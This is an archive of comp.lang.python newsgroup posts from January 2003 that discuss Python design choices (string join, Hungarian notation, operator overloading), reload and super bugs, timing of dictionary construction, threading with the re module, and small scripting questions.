References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <3E267821.5030209@mxm.dk> <gXuV9.11465$CG6.203610@news4.e.nsc.no> <pan.2003.01.16.09.42.41.751206@webone.com.au> <c76ff6fc.0301161331.27350f1a@posting.google.com> <JTNV9.14383$Dq.1421728@newsread2.prod.itd.earthlink.net> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com> <b0bvlg$rs9$1@news.eusc.inter.net> <sh2dnT66cMuoQrSjXTWcrg@comcast.com> <b0cptv$857$1@news.eusc.inter.net> <Ch-cnefV7v6Nl7ejXTWcpw@comcast.com>
Message-ID: <b0dthk$ijc$1@news.eusc.inter.net>

Terry Reedy wrote:
> In the last paragraph of my post, which you clipped (I suspect without
> reading), I already acknowledged that you might have meant this and
I admit this and I'm sorry about it. From the quoting, it appeared to be 
a reply to a message further up the chain.

> alternative.)  However, this violates the whole notion of a class
> method -- which is a method that operates on or with a class and it
> attributes instead of any particular instance.  This does not, not,
> not apply to .join.  The purpose of adding explicit class methods was
> to avoid the circumlocation of writing a class method as an instance
> method called with an arbitrary instance that is then ignored except
> for using it to get at the class that should have been the self param
> in the first place, instead of the instance.  Again, this has nothing
> to do with .join().
> "

I'm of course referring to the smalltalk version of class methods, where 
every constructor (and join could be seen as a constructor) is a class 
method. But then smalltalk has no modules.

> 1. If a function has two parameters, A and B, and A is any member of
> one particular type/class, while B is a member of restricted subsets
> of several different types and classes, including user-defined classes
> with the proper behavior, and if the function is to be made into a
> method, then it is and should be an instance method of the class of A.

You meant B, right? Not if B is only a helper parameter (and being 
optional in the string module version of join shows that it's just 
that). Just suppose that re.I would be an object of some class 
re.options and not an integer. Would you really argue that re.compile 
(pattern[, options]) should be transformed to re.I.compile (pattern)?

But let's stop this thread. It hasn't anything to do with the original 
post and it won't change anything in the Python implementation.

Daniel




From ajs at ix.netcom.com  Sun Jan 19 18:51:15 2003
From: ajs at ix.netcom.com (Arthur)
Date: Sun, 19 Jan 2003 18:51:15 -0500
Subject: License question
Message-ID: <000701c2c015$a84b0450$995af6d1@Arts>

Arthur wrote:
>> Would the practice of silently overwriting a file that is part of the
>> standard Python distribution in any way constitute a violation of the
>> Python license.

Terry replies -

>No. It definitely is not. And trying to go after another developer because
>you don't like the way their package installs is itself, "at the minimum,
>ill-mannered". ;-)

Nothing shocks me anymore, I'm afraid.  To make this cuter, the distributor
didn't even write the code.  And by suggesting that he might reconsider
screwing the standard Python install *without warning* and *irreversibly*
for anyone who downloads that package, makes me anything other than a
concerned Python citizen  - well I find that a bit amazing.

*I* think they call that a virus, usually.

Art





From theller at python.net  Thu Jan 16 10:28:06 2003
From: theller at python.net (Thomas Heller)
Date: 16 Jan 2003 16:28:06 +0100
Subject: Bug with super() and reload()?
References: <of6h1crt.fsf@python.net> <m33cnt40jm.fsf@mira.informatik.hu-berlin.de>
Message-ID: <7kd5nmgp.fsf@python.net>

martin at v.loewis.de writes:

> Thomas Heller <theller at python.net> writes:
> 
> > Should this be considered a bug, or is it simply a wart, and reload
> > should be avoided?
> 
> I think reloading a module should create a new module dictionary, even
> though such a change may break existing usage of reload.

I cannot imagine what this would change with the case I described?

Thomas



From mwh at python.net  Fri Jan 17 06:19:49 2003
From: mwh at python.net (Michael Hudson)
Date: Fri, 17 Jan 2003 11:19:49 GMT
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com> <3E27E111.40987D0B@alcyone.com>
Message-ID: <7h3r8bcm39w.fsf@pc150.maths.bris.ac.uk>

Erik Max Francis <max at alcyone.com> writes:

> If you expect they'll always be pretty small, then range will be
> perform better (in terms of speed).

I believe Raymond Hettinger got sufficiently annoying with this being
pointed out <wink> that this will no longer be true in 2.3.  From the
whatsnew document:

  xrange() objects now have their own iterator, making for i in
  xrange(n) slightly faster than for i in range(n). (Patch by Raymond
  Hettinger.)

Cheers,
M.

-- 
  Worryingly, DEFUN appears to be a function that removes all the
  fun from something: after using it all your code is converted 
  to C++.                              -- Tim Bradshaw, comp.lang.lisp



From zope at thewebsons.com  Sat Jan 11 22:34:54 2003
From: zope at thewebsons.com (beno)
Date: Sat, 11 Jan 2003 23:34:54 -0400
Subject: Stackless Python, Tail Recursion and Functional Programming
In-Reply-To: <eab12vks0mm4imiprcrdtj7ek2ok02247u@4ax.com>
References: <mailman.1042262600.31378.python-list@python.org>
 <mailman.1042262600.31378.python-list@python.org>
Message-ID: <5.1.0.14.0.20030111233347.02207910@mail.thewebsons.com>

At 03:48 PM 1/11/2003 -0800, you wrote:
>On Sat, 11 Jan 2003 01:18:05 -0400, in comp.lang.python you wrote:
>
> >Hi;
> >Someone wrote me from this list advising me to drop my passion for
> >functional programming because Python doesn't optimize for it. Then I
> >remembered Cameron Laird's *Stackless Python*. Doesn't this take care of
> >this problem by converting the stack into a tree, just like XSLT?
>
>Yes, it takes care of the recursion problem. It's _Christian Tismer_
>who wrote it, however.

Okay, okay, apologies to Christian Tismer already <g>. But now I almost 
feel like taking a poll because I've received so many conflicting reports 
<g>. Guess I'll have to dig a little deeper.
Thanks,
beno






From dipthotdipthot at yahoo.yahoo.com.com  Mon Jan 20 16:17:01 2003
From: dipthotdipthot at yahoo.yahoo.com.com (GlennGlenn)
Date: Mon, 20 Jan 2003 21:17:01 GMT
Subject: my favs
References: <b0gp1r$mec$1@news.ksc.co.th> <9kstf-b1m.ln1@elstinko.registrado.network.es>
Message-ID: <200120031316589777%dipthotdipthot@yahoo.yahoo.com.com>

In article <9kstf-b1m.ln1 at elstinko.registrado.network.es>, Sinister
Midget <xunil at kc-rr.com> wrote:

> On Mon, 20 Jan 2003 19:11:40 +0700, wichelman at hotmail.com drooled and
> scribbled:
> 
> 
> 
> 
> 
> And good ones, too!

Yeah, but



totally sucks ass.

-- 
*GlennGlenn  --  Lost & seeing double somewhere in Hollywood, CA -- aa#825* 
The Earth is degenerating today. Bribery and corruption abound. Children no
longer obey their parents, every man wants to write a book, and it is evident
that the end of the world is fast approaching.    
                                                  ? Assyrian tablet, c. 2800 BC?



From samSPAMMENOT at twmi.rr.com  Fri Jan 31 16:32:05 2003
From: samSPAMMENOT at twmi.rr.com (Sam Marrocco)
Date: Fri, 31 Jan 2003 21:32:05 GMT
Subject: Timed events
Message-ID: <pXB_9.143435$GF.37039781@twister.columbus.rr.com>

I'm trying to Python a script that will perform a function every few 
seconds. Is there a particularly efficient way to do this that won't hog 
processor time?

-- 
==================================================================
Sam J. Marrocco
Sr. Visual Effects Artist/R&D
Travelling Pictures/GTN
Inferno, Flame, Houdini, Maya, All that cool stuff!
"The fact that no one understands you doesn't make you an artist."
==================================================================




From max at alcyone.com  Fri Jan 17 08:14:01 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 17 Jan 2003 05:14:01 -0800
Subject: Trouble with inheritance and self
References: <67446a0a.0301170504.7e897e38@posting.google.com>
Message-ID: <3E280199.405F73D3@alcyone.com>

Boethius wrote:

> I have 2 classes (A and B). Both have a render method that returns a
> string.
> The only difference between A and B's render is the first part of the
> string (header).
> 
> B inherits from A and uses A's render with its own header (see code
> below).

The issue looks to be one of bound vs. unbound methods.  An unbound
method requires an explicit self argument; a bound method already is
"attached" to one and thus doesn't need one.

> class B(A):
> 
>     def _header(self):
>         return "B's header"
> 
>     def render(self):
>         return A.render(self, header=self._header)

Try

	return A.render(self, header=B._header)

here instead.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Weakness of attitude becomes weakness of character.
\__/ Albert Einstein
    7 Sisters Productions / http://www.7sisters.com/
 Web design for the future.



From max at alcyone.com  Thu Jan 16 05:30:37 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 16 Jan 2003 02:30:37 -0800
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no>
Message-ID: <3E2689CD.B085BED5@alcyone.com>

Thomas Weholt wrote:

> In my day-job I use Delphi/Object Pascal. My firm has a
> coding-standard
> where we prefix all variables with a single character to indicate
> datatype;
> strings are prefixed with s, integers with i, floats with f etc. etc.

This general class of notation is called Hungarian notation.  It's
either strongly liked or disliked; there's rarely opinions that lie in
between.  (I'm of the opinion that it is almost always overkill, tends
to become inaccurate over time due to code shift, and 99% of its
benefits can be gained simply by choosing appropriate identifiers.  Not
to mention terrribly ugly.)

> Are there any standards like this for Python? Or hints, tips, opinions
> related to this topic? I do believe it could make source more
> understandable
> and easier to debug/maintain when used in larger projects.

In dynamic languages, a Hungarian notation coding style makes even less
sense:  As long as an object supports the expected interface, it really
doesn't make any difference what type it is; furthermore, names can be
rebound to objects of completely different types, so associating the
type with the name is even less appealing.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Nine worlds I remember.
\__/ Icelandic Edda of Snorri Sturluson
    Blackgirl International / http://www.blackgirl.org/
 The Internet resource for black women.



From peter at engcorp.com  Sat Jan 25 14:53:39 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 25 Jan 2003 14:53:39 -0500
Subject: Slurping Web Pages
References: <J3BY9.2087$Ec.128@nwrddc02.gnilink.net>
Message-ID: <3E32EB43.7011A73B@engcorp.com>

Tony Dunn wrote:
> 
> I've started a new project where I need to slurp web pages from a site that
> use cookies to authenticate access.  I've used *urllib* in the past to grab
> *public* web pages, but I'm not sure the best way to go about dealing with
> the cookie issue.
> 
> I found some code to drive IE via COM, but I can't find a method to save the
> current web page to a file so I can *slurp* it later.  I've wandered through
> the file generated by makepy.py for the *Internet Control* COM object, but I
> don't see what I'm looking for.  I know I can grab the files from the local
> *Internet* cache, but I'd like the option to specify a file location and
> file name for each page downloaded.
> 
> Has anyone done this with IE?

After you've navigated to the page, grab the document's documentElement
and its outerHtml attribute like so, and save it to a file.

from win32com.client import DispatchEx as d
ie = d('internetexplorer.application')
ie.navigate('http://www.yoururl.com')
html = ie.document.documentElement.outerHtml

-Peter



From martin at v.loewis.de  Sun Jan 19 12:46:10 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 19 Jan 2003 18:46:10 +0100
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain> <Xns9307CD595EDCBrcamesz@amesz.demon.nl> <slrnb2jcl0.8mr.grante@localhost.localdomain> <b0cdjh$nsnhe$1@ID-71831.news.dfncis.de> <slrnb2jqiv.91m.grante@localhost.localdomain> <mailman.1042934674.24272.python-list@python.org> <slrnb2k5qs.93i.grante@localhost.localdomain> <b0e6cm$oj4ul$1@ID-71831.news.dfncis.de>
Message-ID: <m3adhx6nj1.fsf@mira.informatik.hu-berlin.de>

"James Kew" <james.kew at btinternet.com> writes:

> > The "+" operator can mean several things:
> >
> >  integer addition
> >  pointer addition
> >  floating point addition
> 
> Add, add, add. All addition. The details may vary slightly (pointer
> arithmetic, for example) but the basic semantics are the same.

So then no language has operator overloading: "+" means always "to
add".  How precisely addition acts on the internal representation
certainly varies, but this is apparently a detail that you consider
irrelevant.

I can assure you that the C compiler takes very different actions and
emits very different code depending on the types of the arguments -
just like for the user-extensible overloading in C++.

> >  unary postive
> 
> That's a different operator -- it's unary, not binary. 

Typically, people consider the number of arguments as a minor detail
when they talk about method overloading: f.foo(3) and
f.foo("Hello","world") are considered overloaded methods in C++ and
Java even though the number of arguments varies. For the same reason,
unary and binary + should be considered overloaded operators.

> The fact that it's represented by the same character in source code
> is a matter of syntax, not of operator overloading.

It appears that this is a matter of terminology. My definition is "an
operator is overloaded if the same operator has different effects
depending on the number and types of its arguments". It appears that
this terminology is shared by a number of people in this group.

My guess is that people who had formal training in a single language
will associate any term with the definition that this term had for
this language. People who have been exposed to more languages tend to
accept generalizations as useful, too.

Regards,
Martin




From sandeep182 at hotmail.com  Sat Jan  4 23:29:10 2003
From: sandeep182 at hotmail.com (Sandeep Gupta)
Date: Sun, 05 Jan 2003 04:29:10 GMT
Subject: Blocking ctrl-c to os.popen() or os.system()
References: <d71cc7f6.0301041400.25c106c4@posting.google.com> <mailman.1041737589.4382.python-list@python.org>
Message-ID: <qwOR9.108503$6H6.3599736@twister.austin.rr.com>

Thanks, Chad.  I was not clear in my previous message.

I am running on Linux, but the script I'm writing will also be using on
Win2k.

What I meant was I start the command and programatically wait for it to
finish.  I wait for the command to finish by doing an f.read() on the stdout
returned from popen*().  While I am waiting for it to finish, if the user
types ctrl-c, the command receives the interrupt.

I also posted the question to the unix.shell newsgroup.  Apparently, the
command subprocess is allowed to turn on the signal again, and that may be
happening in my case.  If I turn off signal handling for SIGINT, and then
run the command "ls -R / | wc -l" (which takes a minute to run on my
system), then I am not able to interrupt the command.  But if my command is
"cvs diff", cvs receives the ctrl-c.

Any other suggestions?
Thanks

"Chad Netzer" <cnetzer at mail.arc.nasa.gov> wrote in message
news:mailman.1041737589.4382.python-list at python.org...
> On Saturday 04 January 2003 14:00, Sandeep Gupta wrote:
> > I am executing a command from python via os.popen().  While the
> > command is executing, if I type ctrl-c, the command receives the
> > interrupt.
>
> What is your system?  On Linux, with a trivial (and perhaps foolish)
example
> it seems that the Python interpreter does indeed get the ctrl-c:
>
> ~~~~~~~~~~~~~~~~~~~~~~~~
> import os
> import time
>
> if __name__ == '__main__':
>     cmd_str = "sleep 20"
>     print 'Running "%s"' % cmd_str
>     os.popen2( cmd_str )
>
>     print "Python now sleeping for 20 seconds."
>     try:
>         time.sleep(20)
>     except KeyboardInterrupt:
>         print "ctrl-c was pressed"
> ~~~~~~~~~~~~~~~~~~~~~~~~
>
> $ python popen_test.py
> Running "sleep 20"
> Python now sleeping for 20 seconds.
> ctrl-c was pressed
>
>
> Note - I pressed ctrl-c to get that result. :)
>
> --
> Bay Area Python Interest Group - http://www.baypiggies.net/
>
> Chad Netzer
> cnetzer at mail.arc.nasa.gov
>





From bokr at oz.net  Thu Jan 23 16:49:20 2003
From: bokr at oz.net (Bengt Richter)
Date: 23 Jan 2003 21:49:20 GMT
Subject: translate txt into HTML
References: <18f9f477.0301210606.45d9eaca@posting.google.com> <3E2D5529.C9CB5479@engcorp.com> <x7el762x0p.fsf@guru.mired.org> <b0krfa$8gm$0@216.39.172.122> <3E2E066E.E15DE5A7@engcorp.com>
Message-ID: <b0po10$7q4$0@216.39.172.122>

On Tue, 21 Jan 2003 21:48:14 -0500, Peter Hansen <peter at engcorp.com> wrote:

>Bengt Richter wrote:
>> 
>> On Tue, 21 Jan 2003 18:11:18 GMT, Mike Meyer <mwm at mired.org> wrote:
>> >You've got a bug. Try this for the second print:
>> >
>> >print >>htmlFile, '<body><pre>%s</pre></body></html>' % text.replace('<', '&lt;')
>> >
>> I think you have a bug too ;-)
>> 
>> print >>htmlFile, '<body><pre>%s</pre></body></html>' % \
>>                         text.replace('&','&amp;').text.replace('<', '&lt;')
>
>Ouch... text.replace().text.replace() isn't going to get far.  ;-)
Oops. Gored on the horns of my own smugness ;-/
And besides, I should have read Martin's post before posting anything,
since mine wasn't even an adequate me-too *<8^p

>
>Anyway, Martin hit the nail on the head when he clarified that
>this is not a bug, depending on the requirements.  Not all 
>source files can have such characters within, and the OP 
>didn't specify enough detail for us even to be considering my
>version a possibility.... no point debugging a "spike" which
>isn't intended for use, is there?
>
>-op-op-where-are-you-ly yr's, 
> Peter

Regards,
Bengt Richter



From skip at pobox.com  Mon Jan 27 10:49:51 2003
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 27 Jan 2003 09:49:51 -0600
Subject: killing thread ?
In-Reply-To: <15925.19626.816771.49696@montanaro.dyndns.org>
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de>
        <7xisweedcd.fsf@ruckus.brouhaha.com>
        <3E3188BF.3C39D8CA@engcorp.com>
        <7xd6mme5dn.fsf@ruckus.brouhaha.com>
        <b131al$paf$1@nyheter.chalmers.se>
        <15925.19626.816771.49696@montanaro.dyndns.org>
Message-ID: <15925.21791.553570.965324@montanaro.dyndns.org>

    Skip> Thus fcntl is Unix-only, as is win32all.  

Should of course have read something like

    Thus fcntl is Unix-only, and win32all is Windows-specific.

S




From johnroth at ameritech.net  Wed Jan  1 08:18:29 2003
From: johnroth at ameritech.net (John Roth)
Date: Wed, 1 Jan 2003 08:18:29 -0500
Subject: Python vs. Ruby
References: <mailman.1041381303.29130.python-list@python.org>
Message-ID: <v15qkn19h361d6@news.supernews.com>

"Brian Quinlan" <brian at sweetapp.com> wrote in message
news:mailman.1041381303.29130.python-list at python.org...
> John Roth wrote:
> > It also has a solution to one of the ugliest warts in Python:
> > the fact that the .append(), .sort() and .reverse() methods
> > don't return an updated value, so you can't chain them.
>
> This is by design in Python. It would be trivial to change these
methods
> to return self if it were considered desirable.

Of course it would be, and I regard the design as a major
inconsistency in Guido's thinking. Being novice friendly is
one thing, but penalizing everyone else by crippling chained
application is quite something else.

John Roth

>
> Cheers,
> Brian
>
>





From mwh at python.net  Thu Jan 16 09:26:31 2003
From: mwh at python.net (Michael Hudson)
Date: Thu, 16 Jan 2003 14:26:31 GMT
Subject: Changing truth
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <3E20A117.9020609@tismer.de> <mailman.1042326561.2537.python-list@python.org> <m28yxq9ljj.fsf@pchoel.1480-778.online.de> <mailman.1042653452.24211.python-list@python.org> <7h38yxmp6mp.fsf@pc150.maths.bris.ac.uk> <ad052e5c.0301152321.be66dcf@posting.googl
Message-ID: <7h3znq1npal.fsf@pc150.maths.bris.ac.uk>

danb_83 at yahoo.com (Dan Bishop) writes:

> Michael Hudson <mwh at python.net> wrote in message news:<7h38yxmp6mp.fsf at pc150.maths.bris.ac.uk>...
> 
> > Hey, noone in this thread's even tried to fiddle with the builtins
> > yet...
> 
> Good idea!
> 
> >>> int = long
> 

That wasn't actually what I meant, though I was a bit vauge.  CT got
it.

Cheers,
M.

-- 
  I would hereby duly point you at the website for the current pedal
  powered submarine world underwater speed record, except I've lost
  the URL.                                         -- Callas, cam.misc



From p-abel at t-online.de  Mon Jan 20 14:14:19 2003
From: p-abel at t-online.de (Peter Abel)
Date: 20 Jan 2003 11:14:19 -0800
Subject: list_to_dict()
References: <b06i9j$art$1@wheel2.two14.net> <mailman.1042735479.28310.python-list@python.org> <b06v5g$auj$2@wheel2.two14.net> <13a533e8.0301170008.34cd26ba@posting.google.com> <b0aggh$e7m$4@wheel2.two14.net> <13a533e8.0301181149.493fde87@posting.google.com> <b0ga40$nr8$1@wheel2.two14.net>
Message-ID: <13a533e8.0301201114.1cb40083@posting.google.com>

Martin Maney <maney at pobox.com> wrote in message news:<b0ga40$nr8$1 at wheel2.two14.net>...
> Peter Abel <p-abel at t-online.de> wrote:
> >>>> def myzip(keys,values):
> > ....    res={}
> > ....    map(lambda x,y:res.setdefault(x,y),keys,values)
> > ....    return res
> > 
> >   And I think it goes with python 2.1. or earlier.
> >   A little time_test(number_of_keys) - function which generates
> >   simple 5-random-letters-keys and a value-list as range(number_of_keys)
> >   will show an increase in speed.
> >>>> time_test(50000)
> > dzip  :  0.28100001812
> > myzip :  0.140999913216
> >>>> time_test(500000)
> > dzip  :  3.31200003624
> > myzip :  1.59399998188
> 
> That's odd.  When I dropped the map(...) code into my simple test, it
> was the worst performer at all sizes.  :-(
> 
> Oh, wait - are you testing building single dictionaries with 50K keys? 
> My largest test is with 1000 keys per dictionary, and the results that
> actually matter would with perhaps 5 to 10 keys.  Try building a dict
> of 10 items 5K times instead.  Not that the trend I see at 1000
> keys/dict and below makes the numbers you reported seem likely even
> so...
> 
> Building dicts of 5 items 40000 times (CPU time per Kdict):
>         traditional: 0.0190
> traditional inlined: 0.0162
>           dict(zip): 0.0255
>   inlined dict(zip): 0.0223
>                 map: 0.0337
>         inlined map: 0.0302
> Building dicts of 10 items 20000 times (CPU time per Kdict):
>         traditional: 0.0285
> traditional inlined: 0.0260
>           dict(zip): 0.0320
>   inlined dict(zip): 0.0295
>                 map: 0.0535
>         inlined map: 0.0500
> Building dicts of 100 items 4000 times (CPU time per Kdict):
>         traditional: 0.2000
> traditional inlined: 0.2025
>           dict(zip): 0.1650
>   inlined dict(zip): 0.1600
>                 map: 0.4125
>         inlined map: 0.4100
> Building dicts of 1000 items 400 times (CPU time per Kdict):
>         traditional: 2.0500
> traditional inlined: 2.0500
>           dict(zip): 1.5750
>   inlined dict(zip): 1.5500
>                 map: 3.9000
>         inlined map: 4.0750
> 
> The changes in the total numbers of keys inserted was done to keep the
> overall running times about the same - between two and three seconds
> on the P2/233 I originally did this on.  As you can see, I've since
> changed the format to report the time per 1000 dictionaries to make the
> shape of the scaling apparent.
> 
> The "inlined" versions simply place the body of the functions into the
> body of the test loop, of course.  I can't now recall why I called the
> dzip() code "traditional", unless it was just that that's what I have
> been using in a couple of projects.

I give up !!
Until today I thougt I could say that I know a little bit
about Python programming. But from now I'm not quite sure
if I know how to write  P Y T H O N ? ?

I tried the following code:
import random,time,gc

# An inline-function to generate random keys with n letters
# between chr(65) and chr(90) [A-Z]
genkey=lambda n:reduce(lambda
last_chars,next_char:last_chars+next_char,map(lambda
n:chr(random.randint(65,90)),range(n)),'')

def test(n_keys=1000,key_items=100,item_len=5):
  print '-'*60
  print "Key-Generation for %d keys with %d items/key and each item %d
chars long"%(n_keys,key_items,item_len)
  # It's not very readable, but I hope its quicker then a for-loop
  keys=[ tuple( map(lambda n:genkey(item_len),range(key_items) )) for
k in range(n_keys)]
  # Values are simpler
  values=range(n_keys)
 
  # Here we go

  # Your dzip-function
  res = {}
  st1=time.time()
  for k,v in zip(keys, values):
    res[k] = v
  et1=time.time()
  dzip_time=et1-st1
  print 'dzip :','Time total:',dzip_time,'Time/key 
:',dzip_time/n_keys

  # Some garbage-collection
  # to have similar conditions
  res = {}
  gc.collect()
  
  # myzip-function
  st2=time.time()
  map(lambda x,y:res.setdefault(x,y),keys,values)
  et2=time.time()
  mytime=et2-st2
  print 'myzip:','Time total:',mytime,'Time/key  :',mytime/n_keys
  if mytime:
    print 'Timerelation dzip/myzip',dzip_time/mytime
  else:
    print "Can't calculate Timerelation dzip/myzip ->
ZeroDivisionError"
test()
test(500,50,10)
test(2000,200,2)
print

And I let it run 3 times under w2k in the dos-box and believe
or not I got 3 different results as you can see:

M:\Python\XML-XSL\Tests>list_to_dict.py
------------------------------------------------------------
Key-Generation for 1000 keys with 100 items/key and each item 5 chars
long
dzip : Time total: 0.0199999809265 Time/key  : 1.99999809265e-005
myzip: Time total: 0.00999999046326 Time/key  : 9.99999046326e-006
Timerelation dzip/myzip 2.0
------------------------------------------------------------
Key-Generation for 500 keys with 50 items/key and each item 10 chars
long
dzip : Time total: 0.00999999046326 Time/key  : 1.99999809265e-005
myzip: Time total: 0.00999999046326 Time/key  : 1.99999809265e-005
Timerelation dzip/myzip 1.0
------------------------------------------------------------
Key-Generation for 2000 keys with 200 items/key and each item 2 chars
long
dzip : Time total: 0.0299999713898 Time/key  : 1.49999856949e-005
myzip: Time total: 0.0299999713898 Time/key  : 1.49999856949e-005
Timerelation dzip/myzip 1.0


M:\Python\XML-XSL\Tests>list_to_dict.py
------------------------------------------------------------
Key-Generation for 1000 keys with 100 items/key and each item 5 chars
long
dzip : Time total: 0.0199999809265 Time/key  : 1.99999809265e-005
myzip: Time total: 0.00999999046326 Time/key  : 9.99999046326e-006
Timerelation dzip/myzip 2.0
------------------------------------------------------------
Key-Generation for 500 keys with 50 items/key and each item 10 chars
long
dzip : Time total: 0.00999999046326 Time/key  : 1.99999809265e-005
myzip: Time total: 0.00999999046326 Time/key  : 1.99999809265e-005
Timerelation dzip/myzip 1.0
------------------------------------------------------------
Key-Generation for 2000 keys with 200 items/key and each item 2 chars
long
dzip : Time total: 0.039999961853 Time/key  : 1.99999809265e-005
myzip: Time total: 0.0199999809265 Time/key  : 9.99999046326e-006
Timerelation dzip/myzip 2.0


M:\Python\XML-XSL\Tests>list_to_dict.py
------------------------------------------------------------
Key-Generation for 1000 keys with 100 items/key and each item 5 chars
long
dzip : Time total: 0.0199999809265 Time/key  : 1.99999809265e-005
myzip: Time total: 0.0 Time/key  : 0.0
Can't calculate Timerelation dzip/myzip -> ZeroDivisionError
------------------------------------------------------------
Key-Generation for 500 keys with 50 items/key and each item 10 chars
long
dzip : Time total: 0.00999999046326 Time/key  : 1.99999809265e-005
myzip: Time total: 0.00999999046326 Time/key  : 1.99999809265e-005
Timerelation dzip/myzip 1.0
------------------------------------------------------------
Key-Generation for 2000 keys with 200 items/key and each item 2 chars
long
dzip : Time total: 0.039999961853 Time/key  : 1.99999809265e-005
myzip: Time total: 0.0199999809265 Time/key  : 9.99999046326e-006
Timerelation dzip/myzip 2.0

And the winner is . . .   (forget it!!)

Cheers 
Peter



From adalke at mindspring.com  Thu Jan  9 16:53:20 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 09 Jan 2003 14:53:20 -0700
Subject: threading with re module
In-Reply-To: <f105dedd.0301091319.7fb001a2@posting.google.com>
References: <f105dedd.0301091319.7fb001a2@posting.google.com>
Message-ID: <avkrem$e0s$1@slb3.atl.mindspring.net>

paul wrote:
  > is there any alternative to the standard re module that is
> thread-safe? i saw some discussion of pregex but it dates back to '97.
> is that still around? if not, what are people doing to get thread-safe
> regex in python?

While I can't make guarantees, I believe the re code is thread-safe.
My guess is you are reading about the old 'regex' library, which was
used before 're' and was not thread-safe.

In 1997 I believe the two libraries were 'regex' and the 3-rd
party pregex which was for POSIX regular expressions.  Since then
there was the pcre based 're' then /F's 'sre', which has supplanted
pcre as the implementation of the re module.

/F's comment at
http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&oe=UTF-8&selm=AU1y4.123%24Lh9.176336384%40newsb.telia.net
implies that sre (the current sre) should be thread safe.



					Andrew
					dalke at dalkescientific.com




From mertz at gnosis.cx  Tue Jan 21 01:09:25 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Tue, 21 Jan 2003 01:09:25 -0500
Subject: license
References: <mailman.1043114918.20524.python-list@python.org>
Message-ID: <VQOL+kKkXwFS092yn@gnosis.cx>         

"Arthur" <ajs at ix.netcom.com> wrote previously:
|>BTW, you still haven't mentioned the package. Tell me THE PACKAGE!!! ;)

|I am *never* discrete.
|But at my age, an opportunity for a new experience is rare.

s/discrete/obnoxious/
s/rare/elsewhere/

--
    _/_/_/ THIS MESSAGE WAS BROUGHT TO YOU BY: Postmodern Enterprises _/_/_/
   _/_/    ~~~~~~~~~~~~~~~~~~~~[mertz at gnosis.cx]~~~~~~~~~~~~~~~~~~~~~  _/_/
  _/_/  The opinions expressed here must be those of my employer...   _/_/
 _/_/_/_/_/_/_/_/_/_/ Surely you don't think that *I* believe them!  _/_/





From peter at engcorp.com  Fri Jan 31 20:49:10 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 31 Jan 2003 20:49:10 -0500
Subject: Timed events
References: <pXB_9.143435$GF.37039781@twister.columbus.rr.com>
Message-ID: <3E3B2796.A3020C1E@engcorp.com>

Sam Marrocco wrote:
> 
> I'm trying to Python a script that will perform a function every few
> seconds. Is there a particularly efficient way to do this that won't hog
> processor time?

The poor man's version is just to use time.sleep().  It doesn't
hog CPU when in that call.

import time
while 1:
    if exitConditionTrue:
        break
    performAFunction()
    time.sleep(3)


-Peter



From peter at engcorp.com  Tue Jan 14 15:54:49 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 14 Jan 2003 15:54:49 -0500
Subject: Finding the calling method
References: <df392399.0301141226.1554a055@posting.google.com>
Message-ID: <3E247919.66E104F9@engcorp.com>

Mark wrote:
> 
> I don't know if you there is a function or method you can call to find
> this.  Inside a method(method A) I'm calling another method(method B)
> inside the same class.  Is there a way while I'm inside method B to
> find out what method called it, which would be method A.  Do I have to
> look at the stack or is there a function to call?

In Python since 2.1, sys._getframe(1) will return the calling frame,
from which you can extract the name of the method.  You can also learn
about the 'inspect' standard module from the docs.

>>> class A:
...   def methA(self):
...     self.methB()
...   def methB(self):
...     import sys
...     print 'I am called by',sys._getframe(1).f_code.co_name
...
>>> a = A()
>>> a.methA()
I am called by methA

-Peter



From blaktyger at hotmail.com  Fri Jan 24 01:49:45 2003
From: blaktyger at hotmail.com (Blaktyger)
Date: 23 Jan 2003 22:49:45 -0800
Subject: db files
Message-ID: <c9e6ac92.0301232249.67de6893@posting.google.com>

I would like to know if it's possible to access to a file database
(filename.db or filename.dbf)via Python or wxPython. If so, how?

Thank you



From nas-usenet at arctrix.com  Sun Jan 12 13:57:09 2003
From: nas-usenet at arctrix.com (Neil Schemenauer)
Date: Sun, 12 Jan 2003 18:57:09 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <mailman.1042325780.6288.python-list@python.org> <7xsmvzw91d.fsf@ruckus.brouhaha.com> <mailman.1042392686.28473.python-list@python.org>
